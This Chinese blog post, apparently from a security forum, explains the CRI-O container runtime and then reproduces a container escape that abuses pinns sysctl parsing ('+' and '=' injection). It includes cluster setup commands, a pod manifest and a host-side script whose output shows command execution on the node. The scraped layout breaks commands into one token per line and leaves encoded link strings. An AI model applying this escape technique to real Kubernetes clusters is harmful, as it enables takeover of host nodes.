当容器运行时(Container Runtime)的标准被提出以后,Red Hat 的一些人开始想他们可以构建一个更简单的运行时,而且这个运行时仅仅为 Kubernetes 所用。这样就有了 skunkworks
项目,最后定名为 CRI-O
, 它实现了一个最小的 CRI 接口。在 2017 Kubecon Austin 的一个演讲中, Walsh 解释说, ”CRI-O 被设计为比其他的方案都要小,遵从 Unix 只做一件事并把它做好的设计哲学,实现组件重用“。
根据 Red Hat 的 CRI-O 开发者 Mrunal Patel 在研究里面说的, 最开始 Red Hat 在 2016 年底为它的 OpenShift 平台启动了这个项目,同时项目也得到了 Intel
和 SUSE
的支持。CRI-O 与 CRI
规范兼容,并且与 OCI
和 Docker 镜像的格式也兼容。它也支持校验镜像的 GPG 签名。 它使用容器网络接口 Container Network Interface(CNI)处理网络,以便任何兼容 CNI 的网络插件可与该项目一起使用,OpenShift 也用它来做软件定义存储层。 它支持多个 CoW 文件系统,比如常见的 overlay,aufs,也支持不太常见的 Btrfs。
CRI-O 允许你直接从 Kubernetes 运行容器,而不需要任何不必要的代码或工具。只要容器符合 OCI 标准,CRI-O 就可以运行它,去除外来的工具,并让容器做其擅长的事情:加速你的新一代原生云程序。
CRI-O 最出名的特点是它支持“受信容器”和“非受信容器”的混合工作负载。比如,CRI-O 可以使用 Clear Containers 做强隔离,这样在多租户配置或者运行非信任代码时很有用。这个功能如何集成进 Kubernetes现在还不太清楚,Kubernetes 现在认为所有的后端都是一样的。
当 Kubernetes 需要运行容器时,它会与 CRI-O 进行通信,CRI-O 守护程序与 runc
(或另一个符合 OCI 标准的运行时)一起启动容器。当 Kubernetes 需要停止容器时,CRI-O 会来处理,它只是在幕后管理 Linux 容器,以便用户不需要担心这个关键的容器编排。
CRI-O 有一个有趣的架构(见下图),它重用了很多基础组件,下面我们来看一下各个组件的功能及工作流程。
来自:f15K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0M7X3!0%4k6s2y4@1M7X3W2C8k6g2)9J5k6h3y4G2L8g2)9J5c8X3u0D9L8$3N6Q4x3V1k6U0M7U0S2W2M7$3y4S2M7r3g2Q4x3X3c8F1k6i4N6Q4x3X3c8$3N6h3I4F1k6i4u0S2j5X3W2D9K9i4c8&6i4K6u0V1k6r3W2K6j5$3!0$3k6i4u0W2k6q4)9J5k6r3W2F1i4K6u0V1j5%4u0A6i4K6u0V1L8#2)9J5k6r3y4G2L8Y4c8S2K9h3&6W2M7W2)9J5k6r3g2F1k6$3W2F1k6g2)9J5k6r3y4$3k6g2)9J5k6o6t1H3x3U0u0Q4x3X3b7H3z5o6p5I4i4K6u0r3
从这个commit 开始,CRI-O用Pinns给Pod设置内核参数,Pinns最常见的调用方式如下
所以恶意用户可以使用+
或者=
字符传入sysctl值,从而通过pinns设置额外的内核设置
判断是否受到影响:run crio —version
随后查看node 一定要是Ready
我们获取其中的upperdir就是从内核角度到容器根目录的路径
在创建环境的时候我们的启动命令如下
但是在Ubuntu虚拟机中,我们的启动命令如下
这里的--driver·docker,那么此时我们进入到pods中,使用mount,就不会有/var/lib/containers/storage/overlay/
这个路径,而是/var/lib/docker/overlay2/
这里并不知道具体的原因,只是在尝试后的发现,所以如果出现这种情况,换成Vmware Driver即可
注意:在Linux下是没有Vmware Driver的,所以只能是MacOs,或者Windows,当然如果有更好的,欢迎交流,自己搭建环境也可以
一定要给上权限这里建议直接
再创建一个ouput文本放在根目录即可
创建pod
这里创建之后并不会显示Running运行
随后我们再查看output就可以发现,成功执行了我们想要的命令
也就是写在UzJu.sh中的
caeK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8X3y4U0P5e0p5&6z5e0p5H3z5e0t1#2i4K6u0r3j5i4u0@1K9h3y4D9k6g2)9J5c8X3c8W2N6r3q4A6L8s2y4Q4x3V1j5I4x3e0R3K6z5o6j5%4x3U0j5`.
0f6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6*7K9s2g2S2L8X3I4S2L8W2)9J5k6i4A6Z5K9h3S2#2i4K6u0W2j5$3!0E0i4K6u0r3M7q4)9J5c8U0x3K6y4o6M7$3y4U0j5I4x3b7`.`.
aa3K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0M7X3!0%4k6s2y4@1M7X3W2C8k6g2)9J5k6h3y4G2L8g2)9J5c8X3u0D9L8$3N6Q4x3V1k6U0M7U0S2W2M7$3y4S2M7r3g2Q4x3X3c8F1k6i4N6Q4x3X3c8$3N6h3I4F1k6i4u0S2j5X3W2D9K9i4c8&6i4K6u0V1k6r3W2K6j5$3!0$3k6i4u0W2k6q4)9J5k6r3W2F1i4K6u0V1j5%4u0A6i4K6u0V1L8#2)9J5k6r3y4G2L8Y4c8S2K9h3&6W2M7W2)9J5k6r3g2F1k6$3W2F1k6g2)9J5k6r3y4$3k6g2)9J5k6o6t1H3x3U0u0Q4x3X3b7H3z5o6p5I4i4K6u0r3
093K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6D9K9h3&6#2P5q4)9J5k6h3y4F1i4K6u0r3j5i4u0@1K9h3y4D9k6g2)9J5k6o6V1H3x3e0g2Q4x3X3b7I4i4K6u0W2K9s2c8E0L8l9`.`.
pinns
-
s kernel_parameter1
=
value1
+
kernel_parameter2
=
value2
pinns
-
s kernel_parameter1
=
value1
+
kernel_parameter2
=
value2
brew install minikube
curl
-
LO https:
/
/
storage.googleapis.com
/
minikube
/
releases
/
latest
/
minikube
-
linux
-
amd64
sudo install minikube
-
linux
-
amd64
/
usr
/
local
/
bin
/
minikube
https:
/
/
minikube.sigs.k8s.io
/
docs
/
start
/
brew install minikube
curl
-
LO https:
/
/
storage.googleapis.com
/
minikube
/
releases
/
latest
/
minikube
-
linux
-
amd64
sudo install minikube
-
linux
-
amd64
/
usr
/
local
/
bin
/
minikube
https:
/
/
minikube.sigs.k8s.io
/
docs
/
start
/
brew install docker
-
machine
-
driver
-
vmware
brew install docker
-
machine
-
driver
-
vmware
minikube start
-
-
kubernetes
-
version
=
v1.
23.3
-
-
driver
=
vmware
-
-
container
-
runtime
=
crio
minikube start
-
-
kubernetes
-
version
=
v1.
23.3
-
-
driver
=
vmware
-
-
container
-
runtime
=
crio
kubectl get node
apiVersion: v1
kind: Pod
metadata:
name: malicious
-
script
-
host
spec:
containers:
-
name: alpine
image: alpine:latest
command: [
"tail"
,
"-f"
,
"/dev/null"
]
apiVersion: v1
kind: Pod
metadata:
name: malicious
-
script
-
host
spec:
containers:
-
name: alpine
image: alpine:latest
command: [
"tail"
,
"-f"
,
"/dev/null"
]
kubectl create
-
f malicious
-
script
-
host.yaml
kubectl create
-
f malicious
-
script
-
host.yaml
kubctl get pod
kubectl
exec
-
it malicious
-
script
-
host
-
-
/
bin
/
sh
mount
kubectl
exec
-
it malicious
-
script
-
host
-
-
/
bin
/
sh
mount
minikube start
-
-
kubernetes
-
version
=
v1.
23.3
-
-
driver
=
vmware
-
-
container
-
runtime
=
crio
minikube start
-
-
kubernetes
-
version
=
v1.
23.3
-
-
driver
=
vmware
-
-
container
-
runtime
=
crio
minikube start
-
-
kubernetes
-
version
=
v1.
23.3
-
-
driver
=
docker
-
-
container
-
runtime
=
crio
minikube start
-
-
kubernetes
-
version
=
v1.
23.3
-
-
driver
=
docker
-
-
container
-
runtime
=
crio
overlay on
/
type
overlay (rw,relatime,lowerdir
=
/
var
/
lib
/
docker
/
overlay2
/
l
/
Q6DVAGGZCHBCIYVTIEDWFQTQ7I:
/
var
/
lib
/
docker
/
overlay2
/
l
/
LLWQRNQIVYIMZP6W6MTAWNUGQE,upperdir
=
/
var
/
lib
/
docker
/
overlay2
/
bfe14988c94b78ebaece2c0403e7241bc70780a129aadb9777e0fb624f8205c7
/
diff,workdir
=
/
var
/
lib
/
docker
/
overlay2
/
bfe14988c94b78ebaece2c0403e7241bc70780a129aadb9777e0fb624f8205c7
/
work)
overlay on
/
type
overlay (rw,relatime,lowerdir
=
/
var
/
lib
/
docker
/
overlay2
/
l
/
Q6DVAGGZCHBCIYVTIEDWFQTQ7I:
/
var
/
lib
/
docker
/
overlay2
/
l
/
LLWQRNQIVYIMZP6W6MTAWNUGQE,upperdir
=
/
var
/
lib
/
docker
/
overlay2
/
bfe14988c94b78ebaece2c0403e7241bc70780a129aadb9777e0fb624f8205c7
/
diff,workdir
=
/
var
/
lib
/
docker
/
overlay2
/
bfe14988c94b78ebaece2c0403e7241bc70780a129aadb9777e0fb624f8205c7
/
work)
date >>
/
var
/
lib
/
containers
/
storage
/
overlay
/
6a2b5a734f73272b9ad1e48e74b0e0542e0a93d70f820f173bc25ea3d3c8268b
/
diff
/
output
whoami >>
/
var
/
lib
/
containers
/
storage
/
overlay
/
6a2b5a734f73272b9ad1e48e74b0e0542e0a93d70f820f173bc25ea3d3c8268b
/
diff
/
output
hostname >>
/
var
/
lib
/
containers
/
storage
/
overlay
/
6a2b5a734f73272b9ad1e48e74b0e0542e0a93d70f820f173bc25ea3d3c8268b
/
diff
/
output
[培训]科锐逆向工程师培训第53期2025年7月8日开班!